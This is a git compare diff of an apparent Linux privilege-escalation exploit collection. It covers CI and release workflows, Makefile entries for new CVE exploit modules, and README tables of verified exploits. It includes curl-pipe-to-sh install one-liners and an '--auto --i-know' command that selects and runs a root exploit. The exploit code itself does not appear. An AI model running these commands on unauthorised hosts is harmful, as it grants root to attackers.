Compare commits
39 Commits
v0.6.1
...
fa0228df9b
| Author | SHA1 | Date | |
|---|---|---|---|
| fa0228df9b | |||
| d52fcd5512 | |||
| 66cca39a55 | |||
| 92396a0d6d | |||
| 8ac041a295 | |||
| 270ddc1681 | |||
| 7f4a6e1c7c | |||
| f41eed834e | |||
| d84b3b0033 | |||
| 4af82b82d9 | |||
| c12ee6055c | |||
| 3e9f373751 | |||
| 24c2821ae2 | |||
| 5d48a7b0b5 | |||
| 18fa3025f2 | |||
| 5b79b23ff2 | |||
| 264759832a | |||
| 6e0f811a2c | |||
| 312e7d89b5 | |||
| 2c131df1bf | |||
| 48d5f15828 | |||
| 67d091dd37 | |||
| f792a3c4a6 | |||
| 2c4cde1031 | |||
| 5071ad4ba9 | |||
| 554a58757e | |||
| 8ab49f36f6 | |||
| ee3e7dd9a7 | |||
| 39ce4dff09 | |||
| e4a600fef2 | |||
| 60d22eb4f6 | |||
| e2fef41667 | |||
| 8243817f7e | |||
| 8de46e212e | |||
| df4b879527 | |||
| 6b6d638d98 | |||
| 8938a74d04 | |||
| 027fc1f9dd | |||
| 72ac6f8774 |
+24
@@ -0,0 +1,24 @@
|
||||
# clang-tidy configuration for SKELETONKEY core/.
|
||||
#
|
||||
# Defaults are mostly fine. Two checks intentionally disabled:
|
||||
#
|
||||
# clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling
|
||||
# This check flags snprintf, fprintf, memset, strncpy, etc. as
|
||||
# "insecure" and recommends the C11 Annex K _s variants
|
||||
# (snprintf_s, memset_s, ...). Annex K is fundamentally not
|
||||
# portable — glibc, musl, and MSVC all either don't implement
|
||||
# it or implement it incompletely. snprintf is already bounds-
|
||||
# checked; this is noise rather than signal in real C code.
|
||||
# The Linux kernel uses these functions everywhere; so does
|
||||
# every C project. Disabling.
|
||||
#
|
||||
# bugprone-easily-swappable-parameters
|
||||
# Flags every function taking 2+ same-typed parameters. False-
|
||||
# positive heavy on small utility functions like
|
||||
# skeletonkey_host_kernel_at_least(host, major, minor, patch)
|
||||
# where the parameter order is documented and obvious. Not
|
||||
# worth the noise.
|
||||
|
||||
Checks: >
|
||||
-clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling,
|
||||
-bugprone-easily-swappable-parameters
|
||||
@@ -5,6 +5,11 @@ on:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
schedule:
|
||||
# Weekly drift check against CISA KEV + Debian security tracker.
|
||||
# Runs Monday 06:00 UTC; reports any new backports / KEV additions
|
||||
# that haven't propagated into the corpus yet.
|
||||
- cron: '0 6 * * 1'
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -67,6 +72,91 @@ jobs:
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci make test
|
||||
|
||||
# ASan + UBSan run. clang-only; catches memory bugs and undefined
|
||||
# behaviour the regular test suite can't see. Runs on the same 88
|
||||
# tests as the main matrix; failures here are real bugs even if
|
||||
# the assertions all pass.
|
||||
sanitizers:
|
||||
runs-on: ubuntu-latest
|
||||
name: sanitizers (ASan + UBSan)
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config sudo
|
||||
- name: build + test under sanitizers
|
||||
env:
|
||||
CC: clang
|
||||
# AddressSanitizer + UndefinedBehaviorSanitizer. -O1 keeps
|
||||
# backtraces meaningful while still exercising optimizer paths;
|
||||
# -fno-omit-frame-pointer for ASan stack traces; halt-on-error
|
||||
# so the first finding fails CI loudly rather than scrolling
|
||||
# past silently.
|
||||
CFLAGS: "-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64"
|
||||
LDFLAGS: "-fsanitize=address,undefined"
|
||||
run: |
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci -E make test
|
||||
|
||||
# clang-tidy lint. Runs against core/ + skeletonkey.c (the files we
|
||||
# control most tightly). Non-blocking for now — sets a baseline we
|
||||
# can tighten incrementally. Module sources are excluded; many
|
||||
# bundle published PoC code that we keep close to upstream style.
|
||||
clang-tidy:
|
||||
runs-on: ubuntu-latest
|
||||
name: clang-tidy
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
clang clang-tidy linux-libc-dev libglib2.0-dev pkg-config
|
||||
- name: lint core + dispatcher
|
||||
run: |
|
||||
clang-tidy core/*.c skeletonkey.c \
|
||||
--warnings-as-errors='' \
|
||||
-- -Icore -Imodules/copy_fail_family/src \
|
||||
-D_GNU_SOURCE -D_FILE_OFFSET_BITS=64
|
||||
|
||||
# Drift check — runs the two refresh scripts in --check / drift mode
|
||||
# against authoritative federal sources. Catches:
|
||||
# - New CISA KEV additions touching CVEs in our corpus
|
||||
# - New Debian security-tracker backport-version updates that move
|
||||
# the kernel_patched_from table thresholds
|
||||
# Network-required (fetches kev.csv + Debian tracker JSON). Runs on
|
||||
# the weekly cron + on-demand via workflow_dispatch. NOT gated on
|
||||
# PRs because random PRs shouldn't fail on upstream feed drift.
|
||||
drift-check:
|
||||
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: ubuntu-latest
|
||||
name: drift-check (CISA KEV + Debian tracker)
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: cve_metadata drift
|
||||
run: |
|
||||
# Exits 1 if the federal data has drifted from our committed
|
||||
# JSON. Open a PR with `tools/refresh-cve-metadata.py` output
|
||||
# if this fires.
|
||||
python3 tools/refresh-cve-metadata.py --check || {
|
||||
echo "::warning::cve_metadata drift detected — run tools/refresh-cve-metadata.py and commit the result"
|
||||
exit 1
|
||||
}
|
||||
- name: kernel_range drift
|
||||
run: |
|
||||
# Exits 1 if any module's kernel_patched_from table is
|
||||
# MISSING or TOO_TIGHT versus Debian's tracker. INFO-only
|
||||
# findings are fine.
|
||||
python3 tools/refresh-kernel-ranges.py || {
|
||||
echo "::warning::kernel_range drift detected — see tools/refresh-kernel-ranges.py output"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Static build job: ensures the project links cleanly when -static is
|
||||
# requested. Useful for deployment to minimal containers / fleet scans
|
||||
# where shared-libc availability isn't guaranteed.
|
||||
|
||||
+105
-26
@@ -59,8 +59,86 @@ jobs:
|
||||
skeletonkey-${{ matrix.target }}
|
||||
skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
# Portable static-musl x86_64 build. Runs in Alpine (native musl +
|
||||
# linux-headers) so the resulting binary works on every libc —
|
||||
# glibc 2.x of any version, musl, etc. This is what install.sh
|
||||
# fetches by default for x86_64 hosts (the dynamic binary above
|
||||
# hits a glibc-version ceiling on older distros like Debian 12 /
|
||||
# RHEL 8).
|
||||
build-static-x86_64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (x86_64-static / musl)
|
||||
container:
|
||||
image: alpine:latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: install build deps
|
||||
run: apk add --no-cache build-base linux-headers tar
|
||||
- name: build static (musl)
|
||||
run: |
|
||||
# MSG_COPY is a Linux-only SysV msg flag that glibc defines
|
||||
# but musl does not — netfilter_xtcompat needs it. Define
|
||||
# the kernel constant explicitly. (Kernel: include/uapi/
|
||||
# linux/msg.h: MSG_COPY = 040000)
|
||||
make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-x86_64-static
|
||||
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: skeletonkey-x86_64-static
|
||||
path: |
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
|
||||
# Portable static-musl arm64 build. Cross-compile from the x86_64
|
||||
# runner using dockcross/linux-arm64-musl — a Debian-based cross
|
||||
# toolchain image that ships aarch64-linux-musl-gcc with a clean
|
||||
# musl sysroot + Linux uapi headers. Avoids the two prior failure
|
||||
# modes:
|
||||
# (1) Alpine on arm64: actions/checkout JS bundle requires glibc-
|
||||
# compatible Node, which GitHub doesn't inject on arm64.
|
||||
# (2) musl-tools on ubuntu-24.04-arm: musl-gcc + Ubuntu's
|
||||
# /usr/include collide (glibc stdio.h vs musl stdio.h →
|
||||
# __gnuc_va_list / __time64_t conflicts).
|
||||
# dockcross runs glibc Debian (so checkout works), invokes a
|
||||
# bundled aarch64-linux-musl-gcc whose sysroot has its own
|
||||
# consistent musl + linux-uapi tree.
|
||||
build-static-arm64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (arm64-static / musl)
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: run dockcross arm64-musl build
|
||||
run: |
|
||||
# Fetch the dockcross wrapper script (handles UID/GID,
|
||||
# volume mounts, env passing). Image already has
|
||||
# aarch64-linux-musl-gcc on PATH.
|
||||
docker run --rm dockcross/linux-arm64-musl > ./dockcross
|
||||
chmod +x ./dockcross
|
||||
./dockcross bash -c '
|
||||
make CC=aarch64-linux-musl-gcc \
|
||||
CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" \
|
||||
LDFLAGS=-static
|
||||
'
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-arm64-static
|
||||
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: skeletonkey-arm64-static
|
||||
path: |
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
|
||||
release:
|
||||
needs: build
|
||||
needs: [build, build-static-x86_64, build-static-arm64]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
@@ -79,31 +157,28 @@ jobs:
|
||||
run: |
|
||||
tag="${GITHUB_REF#refs/tags/}"
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
||||
{
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
|
||||
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "Or one-shot via the install script:"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo '```'
|
||||
echo
|
||||
echo "### What's in this release"
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the curated CVE inventory."
|
||||
echo "See [\`ROADMAP.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/ROADMAP.md) for phase progress."
|
||||
} > release-notes.md
|
||||
# Prefer the hand-written release notes if present (richer
|
||||
# per-release context); otherwise fall back to an auto-generated
|
||||
# stub with install instructions + pointers to docs.
|
||||
if [ -f docs/RELEASE_NOTES.md ]; then
|
||||
cp docs/RELEASE_NOTES.md release-notes.md
|
||||
else
|
||||
{
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 (dynamic + static-musl) and arm64."
|
||||
echo "Checksums alongside each artifact."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the CVE inventory."
|
||||
echo "See [\`docs/RELEASE_NOTES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/docs/RELEASE_NOTES.md) for per-release detail."
|
||||
} > release-notes.md
|
||||
fi
|
||||
|
||||
- name: publish release
|
||||
uses: softprops/action-gh-release@v2
|
||||
@@ -114,7 +189,11 @@ jobs:
|
||||
files: |
|
||||
skeletonkey-x86_64
|
||||
skeletonkey-x86_64.sha256
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
skeletonkey-arm64
|
||||
skeletonkey-arm64.sha256
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
install.sh
|
||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||
|
||||
@@ -8,6 +8,15 @@ modules/*/dirtyfail
|
||||
modules/*/skeletonkey
|
||||
/skeletonkey
|
||||
/skeletonkey-test
|
||||
/skeletonkey-test-kr
|
||||
/skeletonkey-x86_64
|
||||
/skeletonkey-x86_64-static
|
||||
/skeletonkey-x86_64.sha256
|
||||
/skeletonkey-x86_64-static.sha256
|
||||
/skeletonkey-arm64
|
||||
/skeletonkey-arm64.sha256
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
/tools/verify-vm/logs/
|
||||
/tools/verify-vm/.vagrant/
|
||||
|
||||
@@ -23,16 +23,17 @@ Status legend:
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` —
|
||||
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
|
||||
below — CVE-2026-31402 — is a *candidate* with no module, not counted
|
||||
as a module.)
|
||||
**Counts:** 39 modules total covering 34 CVEs; **28 of 34 CVEs
|
||||
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||
*candidate* with no module, not counted as a module.)
|
||||
|
||||
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
|
||||
> are ported from public PoCs. The **exploit bodies** are not yet
|
||||
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
|
||||
> 28-module verified corpus.
|
||||
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
||||
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` are
|
||||
> blocked by their target environment (VMware-only, kernel < 4.4,
|
||||
> mainline panic, kmod not autoloaded, or t64-transition libs),
|
||||
> not by missing code. See
|
||||
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
>
|
||||
> All three now have **pinned fix commits and version-based
|
||||
> `detect()`**:
|
||||
|
||||
@@ -20,9 +20,15 @@ BUILD := build
|
||||
BIN := skeletonkey
|
||||
|
||||
# core/
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c \
|
||||
core/host.c core/cve_metadata.c core/verifications.c
|
||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||
|
||||
# Register-every-module helper. Lives in its own translation unit so
|
||||
# the kernel_range unit-test binary can link just CORE_OBJS without
|
||||
# pulling in every module symbol via registry_all.o.
|
||||
REGISTRY_ALL_OBJ := $(BUILD)/core/registry_all.o
|
||||
|
||||
# Family: copy_fail_family
|
||||
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
|
||||
CFF_DIR := modules/copy_fail_family
|
||||
@@ -174,6 +180,48 @@ endif
|
||||
# paths). Target-specific vars are scoped to this object's recipe.
|
||||
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||
|
||||
# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection
|
||||
SCHW_DIR := modules/sudo_chwoot_cve_2025_32463
|
||||
SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c
|
||||
SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS))
|
||||
|
||||
# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active
|
||||
UDB_DIR := modules/udisks_libblockdev_cve_2025_6019
|
||||
UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c
|
||||
UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS))
|
||||
|
||||
# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security)
|
||||
PTH_DIR := modules/pintheft_cve_2026_43494
|
||||
PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c
|
||||
PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS))
|
||||
|
||||
# ── v0.9.0 gap-fillers ─────────────────────────────────────────────
|
||||
|
||||
# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap
|
||||
MUT_DIR := modules/mutagen_astronomy_cve_2018_14634
|
||||
MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c
|
||||
MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS))
|
||||
|
||||
# CVE-2019-14287 sudo Runas -u#-1 underflow
|
||||
SRN_DIR := modules/sudo_runas_neg1_cve_2019_14287
|
||||
SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c
|
||||
SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS))
|
||||
|
||||
# CVE-2020-29661 TIOCSPGRP UAF race
|
||||
TIO_DIR := modules/tioscpgrp_cve_2020_29661
|
||||
TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c
|
||||
TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS))
|
||||
|
||||
# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024)
|
||||
VSK_DIR := modules/vsock_uaf_cve_2024_50264
|
||||
VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c
|
||||
VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS))
|
||||
|
||||
# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II)
|
||||
PIP_DIR := modules/nft_pipapo_cve_2024_26581
|
||||
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
|
||||
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
@@ -184,18 +232,30 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS)
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
# Tests — `make test` builds and runs the detect() unit-test harness.
|
||||
# Links against the same module objects as the main binary minus the
|
||||
# top-level dispatcher (which provides main(); the test has its own).
|
||||
# Tests — `make test` builds and runs both unit-test binaries.
|
||||
#
|
||||
# skeletonkey-test — detect() integration tests against
|
||||
# synthetic host fingerprints. Links
|
||||
# the full module corpus.
|
||||
# skeletonkey-test-kr — pure unit tests for kernel_range +
|
||||
# host comparison helpers. Tiny binary
|
||||
# (core/ only); runs cross-platform.
|
||||
TEST_DIR := tests
|
||||
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||
TEST_BIN := skeletonkey-test
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
TEST_KR_SRCS := $(TEST_DIR)/test_kernel_range.c
|
||||
TEST_KR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_KR_SRCS))
|
||||
TEST_KR_BIN := skeletonkey-test-kr
|
||||
TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help test
|
||||
|
||||
@@ -207,8 +267,14 @@ $(BIN): $(ALL_OBJS)
|
||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
test: $(TEST_BIN)
|
||||
@echo "[*] running test suite ($(TEST_BIN))"
|
||||
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||
|
||||
test: $(TEST_BIN) $(TEST_KR_BIN)
|
||||
@echo "[*] running kernel_range unit tests ($(TEST_KR_BIN))"
|
||||
./$(TEST_KR_BIN)
|
||||
@echo
|
||||
@echo "[*] running detect() integration tests ($(TEST_BIN))"
|
||||
./$(TEST_BIN)
|
||||
|
||||
# Generic compile: any .c → corresponding .o under build/
|
||||
@@ -223,7 +289,7 @@ static: LDFLAGS += -static
|
||||
static: clean $(BIN)
|
||||
|
||||
clean:
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN)
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN) $(TEST_KR_BIN)
|
||||
|
||||
help:
|
||||
@echo "Targets:"
|
||||
|
||||
@@ -2,12 +2,13 @@
|
||||
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](CVES.md)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](#)
|
||||
|
||||
> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
|
||||
> (+3 ported-but-unverified). Detection rules in the box. One command
|
||||
> picks the safest one and runs it.**
|
||||
> **One curated binary. 39 Linux LPE modules covering 34 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||
> the safest one and runs it.**
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
@@ -43,15 +44,16 @@ for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
|
||||
**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
|
||||
`pack2theroot` — see note below):
|
||||
**39 modules covering 34 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 34 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 6 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout), not by missing code.
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
|
||||
|
||||
**🟢 Modules that land root on a vulnerable host:**
|
||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||
@@ -64,18 +66,32 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
**⚪ Ported-but-unverified (not in the counts above):**
|
||||
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
|
||||
pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
|
||||
bodies not yet VM-validated**. All three have version-pinned `detect()`:
|
||||
`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
|
||||
`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
|
||||
unfixed); `pack2theroot` against PackageKit fix release 1.3.5
|
||||
(commit `76cfb675`), version read from the daemon over D-Bus.
|
||||
`--auto` auto-enables `--active` to confirm empirically on top.
|
||||
### Empirical verification (28 of 34 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM. Coverage:
|
||||
|
||||
| Distro / kernel | Modules verified |
|
||||
|---|---|
|
||||
| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · ptrace_traceme · sudo_samedit · sudo_runas_neg1 |
|
||||
| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · overlayfs · pwnkit · sequoia · tioscpgrp |
|
||||
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
|
||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||
|
||||
**Not yet verified (6):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
||||
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||
13+; no Parallels-supported box has those yet). All six are flagged in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with
|
||||
rationale.
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status.
|
||||
detection status. Run `skeletonkey --module-info <name>` for the
|
||||
embedded verification records per module.
|
||||
|
||||
## Quickstart
|
||||
|
||||
@@ -86,6 +102,11 @@ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/inst
|
||||
# What's this box vulnerable to? (no sudo)
|
||||
skeletonkey --scan
|
||||
|
||||
# One-page operator briefing for a single CVE: CWE / MITRE ATT&CK /
|
||||
# CISA KEV status, live detect() trace, OPSEC footprint, detection
|
||||
# coverage. Useful for triage tickets and SOC analyst handoffs.
|
||||
skeletonkey --explain nf_tables
|
||||
|
||||
# Pick the safest LPE and run it
|
||||
skeletonkey --auto --i-know
|
||||
|
||||
@@ -112,7 +133,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 31 modules for vulnerabilities...
|
||||
[*] auto: scanning 39 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
